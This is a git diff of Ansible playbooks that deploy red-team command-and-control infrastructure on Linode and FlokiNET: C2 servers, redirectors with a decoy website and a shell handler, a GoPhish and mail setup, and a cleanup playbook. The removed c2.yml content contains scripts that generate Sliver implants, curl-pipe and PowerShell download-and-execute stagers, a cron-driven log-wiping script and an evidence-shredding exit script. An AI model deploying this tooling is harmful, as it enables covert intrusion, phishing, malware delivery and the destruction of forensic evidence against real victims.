+ # Generate random shell handler port if not provided
+ shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
+ redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
+
+ tasks:
+ - name: Validate required FlokiNET configuration
+ assert:
+ that:
+ - redirector_ip is defined and redirector_ip != ""
+ fail_msg: "FlokiNET requires redirector IP address. Set redirector_ip in vars.yaml or via --flokinet-redirector-ip."
+
+ - name: Add redirector to inventory
+ add_host:
+ name: "redirector"
+ groups: "redirectors"
+ ansible_host: "{{ redirector_ip }}"
+ ansible_user: "{{ ssh_user | default('root') }}"
+ ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
+ ansible_ssh_port: "{{ ssh_port | default(22) }}"
+ ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
+
+ - name: Verify SSH connection to redirector
+ wait_for:
+ host: "{{ redirector_ip }}"
+ port: "{{ ssh_port | default(22) }}"
+ delay: 10
+ timeout: 60
+ state: started
+ ignore_errors: true
+
+- name: Provision FlokiNET redirector
+ hosts: redirectors
+ become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- - name: Install Nginx and required packages
- ansible.builtin.apt:
+ - name: Wait for apt to be available
+ apt:
+ update_cache: yes
+ register: apt_result
+ until: apt_result is success
+ retries: 5
+ delay: 10
+
+ - name: Set hostname
+ hostname:
+ name: "redirector"
+
+ - name: Update apt cache
+ apt:
+ update_cache: yes
+
+ - name: Upgrade all packages
+ apt:
+ upgrade: dist
+
+ - name: Install base security packages
+ apt:
name:
- - nginx
- - certbot
- - python3-certbot-nginx
- - socat
- - netcat-openbsd
- - cryptsetup
+ - apt-transport-https
+ - ca-certificates
+ - curl
+ - gnupg
+ - lsb-release
+ - unattended-upgrades
+ - ufw
+ - fail2ban
- secure-delete
- - jq
state: present
- become: true
- - name: Add UFW rules for redirector
- ansible.builtin.ufw:
- rule: allow
- port: "{{ item }}"
- proto: tcp
- with_items:
- - 80
- - 443
- - "{{ shell_handler_port }}"
- become: true
+ - name: Include common security hardening tasks
+ include_tasks: "../tasks/security_hardening.yml"
- - name: Setup directory for shell handler
- ansible.builtin.file:
- path: /opt/shell-handler
- state: directory
- mode: '0700'
- owner: root
- group: root
- become: true
+ - name: Include common redirector configuration tasks
+ include_tasks: "../tasks/configure_redirector.yml"
- - name: Copy shell handler script
- ansible.builtin.copy:
- src: "../files/persistent-listener.sh"
- dest: "/opt/shell-handler/persistent-listener.sh"
- mode: '0700'
- owner: root
- group: root
- become: true
-
- - name: Configure shell handler service
- ansible.builtin.template:
- src: templates/shell-handler.service.j2
- dest: /etc/systemd/system/shell-handler.service
- owner: root
- group: root
- mode: '0644'
- become: true
-
- - name: Configure NGINX for zero-logging
- ansible.builtin.template:
- src: templates/nginx.conf.j2
- dest: /etc/nginx/nginx.conf
- owner: root
- group: root
- mode: '0644'
- become: true
-
- - name: Configure NGINX default site for C2 redirection
- ansible.builtin.template:
- src: templates/default-site.j2
- dest: /etc/nginx/sites-available/default
- owner: root
- group: root
- mode: '0644'
- vars:
- domain: "{{ redirector_subdomain }}.{{ domain }}"
- c2_host: "{{ c2_ip }}"
- become: true
-
- - name: Create index.html for legitimate-looking website
- ansible.builtin.template:
- src: templates/index.html.j2
- dest: /var/www/html/index.html
- owner: www-data
- group: www-data
- mode: '0644'
- become: true
-
- - name: Start and enable shell handler service
- ansible.builtin.systemd:
- name: shell-handler
- state: started
- enabled: yes
- daemon_reload: yes
- become: true
-
- - name: Install Let's Encrypt certificate if domain specified
- ansible.builtin.command: >
- certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
- args:
- creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
- become: true
- when: domain != "example.com"
-
- - name: Restart Nginx
- ansible.builtin.service:
- name: nginx
- state: restarted
- become: true
-
- - name: Display redirector setup information
- ansible.builtin.debug:
+ - name: Print deployment summary
+ debug:
msg:
- - "Redirector setup completed!"
- - "IP Address: {{ ansible_host }}"
- - "Domain: {{ redirector_subdomain }}.{{ domain }}"
- - "Shell Handler Port: {{ shell_handler_port }}"
\ No newline at end of file
+ - "Redirector Configuration Complete!"
+ - "---------------------------------"
+ - "Redirector IP: {{ ansible_host }}"
+ - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)"
+ - "Shell Handler Port: {{ shell_handler_port }}"
+ when: not disable_summary | default(false)
\ No newline at end of file
diff --git a/Linode/c2-deploy.yaml b/Linode/c2-deploy.yaml
deleted file mode 100644
index cee34d9..0000000
--- a/Linode/c2-deploy.yaml
+++ /dev/null
@@ -1,355 +0,0 @@
----
-- name: Create and configure Linode instance for C2 Server
- hosts: localhost
- gather_facts: false
- connection: local
- vars_files:
- - vars.yaml
- tasks:
- - name: Select a random region
- set_fact:
- selected_region: "{{ region_choices | random }}"
-
- - name: Create Linode instance
- community.general.linode_v4:
- access_token: "{{ linode_token }}"
- label: "{{ instance_label }}"
- type: "{{ plan }}"
- region: "{{ selected_region }}"
- image: "{{ image }}"
- root_pass: "{{ lookup('password', '/dev/null length=16') }}"
- authorized_keys:
- - "{{ lookup('file', ssh_key_path) }}"
- state: present
- register: linode_instance
-
- - name: Wait for Linode instance to be reachable
- wait_for:
- host: "{{ linode_instance.instance.ipv4[0] }}"
- port: 22
- delay: 30
- timeout: 600
- state: started
-
- - name: Add Linode instance to inventory
- add_host:
- name: "{{ instance_label }}"
- ansible_host: "{{ linode_instance.instance.ipv4[0] }}"
- ansible_user: root
- ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
-
-- name: Secure and configure C2 server
- hosts: "{{ instance_label }}"
- gather_facts: true
- tasks:
- - name: Disable root password authentication for SSH immediately
- ansible.builtin.lineinfile:
- path: /etc/ssh/sshd_config
- regexp: '^#?PasswordAuthentication'
- line: 'PasswordAuthentication no'
- state: present
-
- - name: Restart SSH service to apply root password login restriction
- ansible.builtin.service:
- name: ssh
- state: restarted
-
- - name: Update apt package list
- ansible.builtin.apt:
- update_cache: yes
-
- - name: Set a custom MOTD
- template:
- src: motd-linode.j2
- dest: /etc/motd
- owner: root
- group: root
- mode: '0644'
- vars:
- letsencrypt_email: "{{ letsencrypt_email }}"
- mail_hostname: "{{ mail_hostname }}"
- domain: "{{ domain }}"
- gophish_admin_domain: "{{ gophish_admin_domain }}"
- gophish_site_domain: "{{ gophish_site_domain }}"
-
- - name: Hush Default Login Message
- ansible.builtin.shell: |
- rm -rf '/usr/bin/kali-motd'
-
- - name: Install base utilities and tools via apt
- ansible.builtin.apt:
- name:
- - git
- - wget
- - curl
- - unzip
- - python3-pip
- - python3-venv
- - tmux
- - pipx
- - nmap
- - tcpdump
- - hydra
- - john
- - hashcat
- - sqlmap
- - gobuster
- - dirb
- - enum4linux
- - dnsenum
- - seclists
- - responder
- - golang
- - proxychains
- - tor
- - crackmapexec
- - jq
- - unzip
- - postfix
- - certbot
- - opendkim
- - opendkim-tools
- - dovecot-core
- - dovecot-imapd
- - dovecot-pop3d
- - dovecot-sieve
- - dovecot-managesieved
- - yq
- state: present
-
- - name: Ensure pipx path is configured
- ansible.builtin.shell: |
- pipx ensurepath
- args:
- executable: /bin/bash
-
- - name: Install tools via pipx
- ansible.builtin.shell: |
- export PATH=$PATH:/root/.local/bin
- pipx ensurepath
- pipx install git+https://github.com/Pennyw0rth/NetExec
- pipx install git+https://github.com/blacklanternsecurity/TREVORspray
- pipx install impacket
- args:
- executable: /bin/bash
-
- - name: Download Kerbrute
- ansible.builtin.shell: |
- mkdir -p ~/Tools/Kerbrute
- wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O ~/Tools/Kerbrute/kerbrute
- chmod +x ~/Tools/Kerbrute/kerbrute
- args:
- executable: /bin/bash
-
- - name: Clone SharpCollection nightly builds
- ansible.builtin.git:
- repo: https://github.com/Flangvik/SharpCollection.git
- dest: ~/Tools/SharpCollection
- version: master
-
- - name: Clone PEASS-ng
- ansible.builtin.git:
- repo: https://github.com/carlospolop/PEASS-ng.git
- dest: ~/Tools/PEASS-ng
-
- - name: Clone MailSniper
- ansible.builtin.git:
- repo: https://github.com/dafthack/MailSniper.git
- dest: ~/Tools/MailSniper
-
- - name: Clone Inveigh
- ansible.builtin.git:
- repo: https://github.com/Kevin-Robertson/Inveigh.git
- dest: ~/Tools/Inveigh
-
- - name: Install Sliver C2 server
- ansible.builtin.shell: |
- curl https://sliver.sh/install | sudo bash
- systemctl enable sliver
- systemctl start sliver
-
- - name: Install Metasploit Framework (Nightly Build)
- ansible.builtin.shell: |
- curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > ~/Tools/msfinstall
- chmod 755 ~/Tools/msfinstall
- ~/Tools/msfinstall
- args:
- executable: /bin/bash
-
- - name: Grab GoPhish
- ansible.builtin.shell: |
- curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o ~/Tools/gophish.zip
- unzip ~/Tools/gophish.zip -d ~/Tools/gophish
- rm -rf ~/Tools/gophish.zip
- chmod +x ~/Tools/gophish
-
- - name: Deploy Gophish config.json with custom admin port
- template:
- src: gophish-config.j2
- dest: ~/Tools/gophish/config.json
- owner: root
- group: root
- mode: '0644'
- vars:
- gophish_admin_port: "{{ gophish_admin_port }}"
- domain: "{{ domain }}"
-
- - name: Configure Postfix main.cf
- lineinfile:
- path: /etc/postfix/main.cf
- regexp: "{{ item.regexp }}"
- line: "{{ item.line }}"
- with_items:
- - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
- - { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
- - { regexp: '^myorigin', line: "myorigin = $mydomain" }
- - { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
- - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
- - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
- - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
- - { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
- - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
- - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
- - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
- - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
- - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
- - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
- - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
- - { regexp: '^milter_default_action', line: "milter_default_action = accept" }
- - { regexp: '^milter_protocol', line: "milter_protocol = 6" }
- - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
-
- - name: Configure OpenDKIM
- lineinfile:
- path: /etc/opendkim.conf
- regexp: "{{ item.regexp }}"
- line: "{{ item.line }}"
- with_items:
- - { regexp: '^Domain', line: "Domain {{ domain }}" }
- - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
- - { regexp: '^Selector', line: "Selector mail" }
- - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
- - { regexp: '^Syslog', line: "Syslog yes" }
- - { regexp: '^UMask', line: "UMask 002" }
- - { regexp: '^Mode', line: "Mode sv" }
-
- - name: Create DKIM directory
- file:
- path: /etc/opendkim/keys/{{ domain }}
- state: directory
- owner: opendkim
- group: opendkim
- mode: 0700
-
- - name: Generate DKIM keys
- command: >
- opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
- args:
- creates: /etc/opendkim/keys/{{ domain }}/mail.private
-
- - name: Set permissions for DKIM keys
- file:
- path: /etc/opendkim/keys/{{ domain }}/mail.private
- owner: opendkim
- group: opendkim
- mode: 0600
-
- - name: Configure OpenDKIM TrustedHosts
- copy:
- content: |
- 127.0.0.1
- ::1
- localhost
- {{ domain }}
- dest: /etc/opendkim/TrustedHosts
- owner: opendkim
- group: opendkim
- mode: 0644
-
- - name: Enable submission port (587) in master.cf
- blockinfile:
- path: /etc/postfix/master.cf
- insertafter: '^#submission'
- block: |
- submission inet n - y - - smtpd
- -o syslog_name=postfix/submission
- -o smtpd_tls_security_level=encrypt
- -o smtpd_sasl_auth_enable=yes
- -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
- -o smtpd_relay_restrictions=permit_sasl_authenticated,reject
-
- # Dovecot Configuration for SASL
- - name: Configure Dovecot for Postfix SASL
- blockinfile:
- path: /etc/dovecot/conf.d/10-master.conf
- insertafter: '^service auth {'
- block: |
- # Postfix smtp-auth
- unix_listener /var/spool/postfix/private/auth {
- mode = 0660
- user = postfix
- group = postfix
- }
-
- - name: Set Dovecot auth_mechanisms
- lineinfile:
- path: /etc/dovecot/conf.d/10-auth.conf
- regexp: '^auth_mechanisms'
- line: 'auth_mechanisms = plain login'
-
- - name: Create Dovecot password file for SASL authentication
- file:
- path: /etc/dovecot/passwd
- state: touch
- mode: '0600'
- owner: dovecot
- group: dovecot
-
- - name: Add SMTP auth user to Dovecot
- lineinfile:
- path: /etc/dovecot/passwd
- line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
-
- - name: Disable system auth and use passwd-file
- lineinfile:
- path: /etc/dovecot/conf.d/10-auth.conf
- regexp: '^!include auth-system.conf.ext'
- line: '#!include auth-system.conf.ext'
-
- - name: Add auth-passwdfile configuration
- blockinfile:
- path: /etc/dovecot/conf.d/10-auth.conf
- insertafter: '^auth_mechanisms ='
- block: |
- passdb {
- driver = passwd-file
- args = scheme=sha512_crypt /etc/dovecot/passwd
- }
- userdb {
- driver = static
- args = uid=vmail gid=vmail home=/var/vmail/%u
- }
-
- - name: Create vmail user/group
- group:
- name: vmail
- gid: 5000
- state: present
-
- - name: Create vmail user
- user:
- name: vmail
- uid: 5000
- group: vmail
- create_home: no
-
- - name: Restart Postfix
- service:
- name: postfix
- state: restarted
-
- - name: Restart Dovecot
- service:
- name: dovecot
- state: restarted
\ No newline at end of file
diff --git a/Linode/c2.yml b/Linode/c2.yml
index e8ca4bb..eb4e956 100644
--- a/Linode/c2.yml
+++ b/Linode/c2.yml
@@ -1,341 +1,112 @@
---
+# Linode C2 Deployment Playbook
+
- name: Deploy Linode C2 server
hosts: localhost
gather_facts: false
connection: local
+ vars_files:
+ - vars.yaml
vars:
- region: "{{ linode_region | default('us-east') }}"
- instance_type: "{{ size | default('g6-standard-1') }}"
- instance_name: "{{ c2_name | default('c2') }}"
- domain: "{{ domain | default('example.com') }}"
- c2_subdomain: "mail"
- linode_image: "linode/debian11"
+ # Default values for required variables
+ ssh_user: "{{ ssh_user | default('root') }}"
+ linode_region: "{{ linode_region | default(region_choices | random) }}"
+ plan: "{{ plan | default('g6-standard-1') }}"
+ image: "{{ image | default('linode/debian11') }}"
+
+ # Generate random instance name if not provided
+ c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
tasks:
- - name: Create Linode C2 instance
+ - name: Validate required Linode token
+ assert:
+ that:
+ - linode_token is defined and linode_token != ""
+ fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
+
+ - name: Create C2 Linode instance
community.general.linode_v4:
- label: "{{ instance_name }}"
- type: "{{ instance_type }}"
- region: "{{ region }}"
- image: "{{ linode_image }}"
+ access_token: "{{ linode_token }}"
+ label: "{{ c2_name }}"
+ type: "{{ plan }}"
+ region: "{{ linode_region }}"
+ image: "{{ image }}"
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
- authorized_keys:
- - "{{ lookup('file', ssh_key) }}"
+ authorized_keys:
+ - "{{ lookup('file', ssh_key_path) }}"
state: present
register: c2_instance
- - name: Save C2 IP
+ - name: Set c2_ip for later use
set_fact:
c2_ip: "{{ c2_instance.instance.ipv4[0] }}"
+ c2_instance_id: "{{ c2_instance.instance.id }}"
- - name: Wait for SSH to become available
+ - name: Wait for C2 SSH to be available
wait_for:
host: "{{ c2_ip }}"
port: 22
- delay: 10
+ delay: 30
timeout: 300
state: started
- - name: Add C2 server to inventory
+ - name: Add C2 to inventory
add_host:
- name: c2
+ name: "c2"
+ groups: "c2servers"
ansible_host: "{{ c2_ip }}"
- ansible_user: "{{ ssh_user | default('root') }}"
- ansible_ssh_private_key_file: "{{ ssh_key | replace('.pub', '') }}"
- groups: c2servers
+ ansible_user: "{{ ssh_user }}"
+ ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
+ ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
- name: Configure C2 server
hosts: c2servers
become: true
+ gather_facts: true
+ vars_files:
+ - vars.yaml
vars:
- domain: "{{ domain | default('example.com') }}"
- c2_subdomain: "mail"
- letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
- zero_logs: "{{ zero_logs | default(true) }}"
- redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}"
-
+ redirector_ip: "{{ redirector_ip | default('127.0.0.1') }}"
+ c2_subdomain: "{{ c2_subdomain | default('mail') }}"
tasks:
- - name: Update apt cache
+ - name: Wait for apt to be available
apt:
update_cache: yes
-
- - name: Install required packages
- apt:
- name:
- - git
- - wget
- - curl
- - python3-pip
- - golang
- - tmux
- - nmap
- - jq
- - secure-delete
- - socat
+ register: apt_result
+ until: apt_result is success
+ retries: 5
+ delay: 10
+
+ - name: Disable root password authentication for SSH immediately
+ lineinfile:
+ path: /etc/ssh/sshd_config
+ regexp: '^#?PasswordAuthentication'
+ line: 'PasswordAuthentication no'
state: present
+
+ - name: Restart SSH service to apply changes
+ service:
+ name: ssh
+ state: restarted
- - name: Create directories for C2 operation
- file:
- path: "{{ item }}"
- state: directory
- mode: '0700'
- owner: root
- group: root
- with_items:
- - /opt/c2
- - /opt/beacons
- - /opt/payloads
-
- - name: Create clean-logs.sh script
- copy:
- content: |
- #!/bin/bash
- # Zero-logs maintenance script
- umask 077
-
- # Disable syslog temporarily
- systemctl stop rsyslog 2>/dev/null
- systemctl stop systemd-journald 2>/dev/null
-
- # Clear system logs
- find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
- find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
- find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
- journalctl --vacuum-time=1s 2>/dev/null
-
- # Clear bash history
- for histfile in /root/.bash_history /home/*/.bash_history; do
- [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
- done
- history -c
-
- # Clear Sliver logs
- find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
-
- # Clear temporary directories
- rm -rf /tmp/* /var/tmp/* 2>/dev/null
-
- # Restart logging services
- systemctl start systemd-journald 2>/dev/null
- systemctl start rsyslog 2>/dev/null
-
- echo "[+] Log cleaning complete"
- exit 0
- dest: /opt/c2/clean-logs.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Create secure-exit.sh script
- copy:
- content: |
- #!/bin/bash
- # Secure cleanup script
-
- # Configuration
- SECURE_DELETE_PASSES=7
- MEMORY_WIPE=true
-
- # Set secure umask
- umask 077
-
- # Function to securely delete files
- secure_delete() {
- local target=$1
- echo "[+] Securely deleting: $target"
-
- if command -v srm > /dev/null; then
- srm -vzf $target 2>/dev/null
- elif command -v shred > /dev/null; then
- shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
- else
- # Fallback to dd if specialized tools aren't available
- dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
- dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
- rm -f $target 2>/dev/null
- fi
- }
-
- echo "[+] Beginning secure exit procedure..."
-
- # Stop all operational services
- echo "[+] Stopping operational services..."
- services=("sliver")
- for service in "${services[@]}"; do
- systemctl stop $service 2>/dev/null
- done
-
- # Kill any remaining operational processes
- echo "[+] Terminating operational processes..."
- process_names=("sliver" "nc" "python")
- for proc in "${process_names[@]}"; do
- pkill -9 $proc 2>/dev/null
- done
-
- # Clear all logs
- echo "[+] Clearing logs..."
- bash /opt/c2/clean-logs.sh
-
- # Securely delete operational files
- echo "[+] Removing operational files..."
- operational_dirs=(
- "/opt/c2"
- "/opt/beacons"
- "/opt/payloads"
- "/root/.sliver"
- )
-
- for dir in "${operational_dirs[@]}"; do
- find $dir -type f 2>/dev/null | while read file; do
- secure_delete "$file"
- done
- rm -rf $dir 2>/dev/null
- done
-
- # Remove SSH keys
- echo "[+] Removing SSH keys and configs..."
- find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
- secure_delete "$file"
- done
-
- # Clean memory if requested
- if $MEMORY_WIPE; then
- echo "[+] Wiping system memory..."
- sync
- echo 3 > /proc/sys/vm/drop_caches
- swapoff -a
- swapon -a
- fi
-
- echo "[+] Secure exit completed. Infrastructure has been sanitized."
-
- # Remove this script itself
- exec shred -n $SECURE_DELETE_PASSES -uz $0
- dest: /opt/c2/secure-exit.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Create beacon-server.sh script
- copy:
- content: |
- #!/bin/bash
- # Beacon server script
-
- # Configuration
- BEACONS_DIR="/opt/beacons"
- WEBSERVER_PORT=8443
-
- # Set secure umask
- umask 077
-
- # Ensure beacons directory exists
- mkdir -p $BEACONS_DIR
-
- # Generate beacons using Sliver
- echo "[+] Generating beacons for all platforms..."
-
- # Make sure Sliver server is running
- if ! pgrep -x "sliver-server" > /dev/null; then
- echo "[!] Sliver server is not running, starting it..."
- systemctl start sliver
- sleep 5
- fi
-
- # Generate Windows beacon
- sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
-
- # Generate Linux beacon
- sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
-
- # Generate macOS beacon
- sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
-
- # Generate stagers
- echo "#!/bin/bash
- curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
- chmod +x $BEACONS_DIR/beacon.sh
-
- echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
- \$url = 'http://{{ ansible_host }}:8443/windows.exe';
- \$outpath = \"\$env:TEMP\\update.exe\";
- Invoke-WebRequest -Uri \$url -OutFile \$outpath;
- Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
-
- echo "[+] All beacons generated successfully"
-
- # Serve beacons using Python's HTTP server
- echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
- cd $BEACONS_DIR
- python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
- SERVER_PID=$!
-
- echo "[+] Beacon server started with PID $SERVER_PID"
- echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/"
-
- # Keep script running
- trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
- while true; do sleep 1; done
- dest: /opt/c2/beacon-server.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Install Sliver C2 framework
- shell: |
- curl https://sliver.sh/install | bash
- args:
- creates: /usr/local/bin/sliver-server
-
- - name: Create Sliver service file
- copy:
- content: |
- [Unit]
- Description=Sliver C2 Server
- After=network.target
-
- [Service]
- Type=simple
- User=root
- Group=root
- WorkingDirectory=/root/.sliver
- ExecStart=/usr/local/bin/sliver-server daemon
- Restart=always
- RestartSec=10
-
- # Security measures
- PrivateTmp=true
- ProtectHome=false
- NoNewPrivileges=true
-
- # Hide process information
- StandardOutput=null
- StandardError=null
-
- [Install]
- WantedBy=multi-user.target
- dest: /etc/systemd/system/sliver.service
- mode: '0644'
- owner: root
- group: root
-
- - name: Start and enable Sliver service
- systemd:
- name: sliver
- state: started
- enabled: yes
- daemon_reload: yes
-
- - name: Set up cron job for log cleaning
- cron:
- name: "Clean logs"
- minute: "0"
- hour: "*/6"
- job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
- when: zero_logs|bool
-
- - name: Start beacon server
- shell: |
- nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 &
- args:
- creates: /opt/beacons/windows.exe
\ No newline at end of file
+ - name: Include common tool installation tasks
+ include_tasks: "../tasks/install_tools.yml"
+
+ - name: Include common C2 configuration tasks
+ include_tasks: "../tasks/configure_c2.yml"
+
+ - name: Include common security hardening tasks
+ include_tasks: "../tasks/security_hardening.yml"
+
+ - name: Include common mail server configuration tasks
+ include_tasks: "../tasks/configure_mail.yml"
+
+ - name: Print deployment summary
+ debug:
+ msg:
+ - "C2 Server Deployment Complete!"
+ - "-----------------------------"
+ - "C2 Server IP: {{ ansible_host }}"
+ - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)"
+ - "GoPhish Admin Port: {{ gophish_admin_port }}"
+ when: not disable_summary | default(false)
\ No newline at end of file
diff --git a/Linode/cleanup.yml b/Linode/cleanup.yml
new file mode 100644
index 0000000..d904384
--- /dev/null
+++ b/Linode/cleanup.yml
@@ -0,0 +1,113 @@
+---
+# Linode Cleanup Playbook
+# Used to tear down Linode infrastructure
+
+- name: Clean up Linode infrastructure
+ hosts: localhost
+ connection: local
+ gather_facts: false
+ vars_files:
+ - vars.yaml
+ vars:
+ cleanup_redirector: "{{ (redirector_name is defined and redirector_name != '') | ternary(true, false) }}"
+ cleanup_c2: "{{ (c2_name is defined and c2_name != '') | ternary(true, false) }}"
+ confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
+
+ tasks:
+ - name: Validate required Linode token
+ assert:
+ that:
+ - linode_token is defined and linode_token != ""
+ fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
+
+ - name: Confirm cleanup if required
+ pause:
+ prompt: "WARNING: This will permanently delete all infrastructure. Type 'yes' to continue"
+ register: confirmation
+ when: confirm_cleanup
+
+ - name: Exit if not confirmed
+ meta: end_play
+ when: confirm_cleanup and confirmation.user_input != 'yes'
+
+ - name: Get redirector instance info
+ community.general.linode_v4:
+ access_token: "{{ linode_token }}"
+ command: list
+ label: "{{ redirector_name }}"
+ register: redirector_info
+ failed_when: false
+ when: cleanup_redirector
+
+ - name: Get C2 instance info
+ community.general.linode_v4:
+ access_token: "{{ linode_token }}"
+ command: list
+ label: "{{ c2_name }}"
+ register: c2_info
+ failed_when: false
+ when: cleanup_c2
+
+ - name: Set redirector ID as fact
+ set_fact:
+ redirector_instance_id: "{{ redirector_info.instances[0].id }}"
+ when:
+ - cleanup_redirector
+ - redirector_info.instances is defined
+ - redirector_info.instances | length > 0
+
+ - name: Set C2 ID as fact
+ set_fact:
+ c2_instance_id: "{{ c2_info.instances[0].id }}"
+ when:
+ - cleanup_c2
+ - c2_info.instances is defined
+ - c2_info.instances | length > 0
+
+ - name: Delete redirector instance
+ community.general.linode_v4:
+ access_token: "{{ linode_token }}"
+ command: delete
+ label: "{{ redirector_name }}"
+ state: absent
+ when:
+ - cleanup_redirector
+ - redirector_instance_id is defined
+ register: redirector_deletion
+
+ - name: Delete C2 instance
+ community.general.linode_v4:
+ access_token: "{{ linode_token }}"
+ command: delete
+ label: "{{ c2_name }}"
+ state: absent
+ when:
+ - cleanup_c2
+ - c2_instance_id is defined
+ register: c2_deletion
+
+ - name: Remove SSH key file if it's not a shared key
+ file:
+ path: "{{ ssh_key_path | replace('.pub', '') }}"
+ state: absent
+ when:
+ - ssh_key_path is defined
+ - ssh_key_path is search('c2deploy_')
+ ignore_errors: true
+
+ - name: Remove SSH public key file if it's not a shared key
+ file:
+ path: "{{ ssh_key_path }}"
+ state: absent
+ when:
+ - ssh_key_path is defined
+ - ssh_key_path is search('c2deploy_')
+ ignore_errors: true
+
+ - name: Cleanup complete message
+ debug:
+ msg:
+ - "Linode infrastructure cleanup complete!"
+ - "Resources that were cleaned up:"
+ - "{{ cleanup_redirector | ternary('- Redirector instance: ' + redirector_name, '') }}"
+ - "{{ cleanup_c2 | ternary('- C2 instance: ' + c2_name, '') }}"
\ No newline at end of file
diff --git a/Linode/redirector.yml b/Linode/redirector.yml
index a94e7eb..feeafc9 100644
--- a/Linode/redirector.yml
+++ b/Linode/redirector.yml
@@ -1,431 +1,109 @@
---
-- name: Deploy Linode redirector server
+# Linode Redirector-only Deployment Playbook
+
+- name: Deploy Linode redirector
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
+ vars:
+ # Default values for required variables
+ ssh_user: "{{ ssh_user | default('root') }}"
+ linode_region: "{{ linode_region | default(region_choices | random) }}"
+ plan: "{{ plan | default('g6-standard-1') }}"
+ image: "{{ image | default('linode/debian11') }}"
+
+ # Generate random instance name if not provided
+ redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
+
+ # Generate random shell handler port if not provided
+ shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
+
tasks:
- - name: Create Linode redirector instance
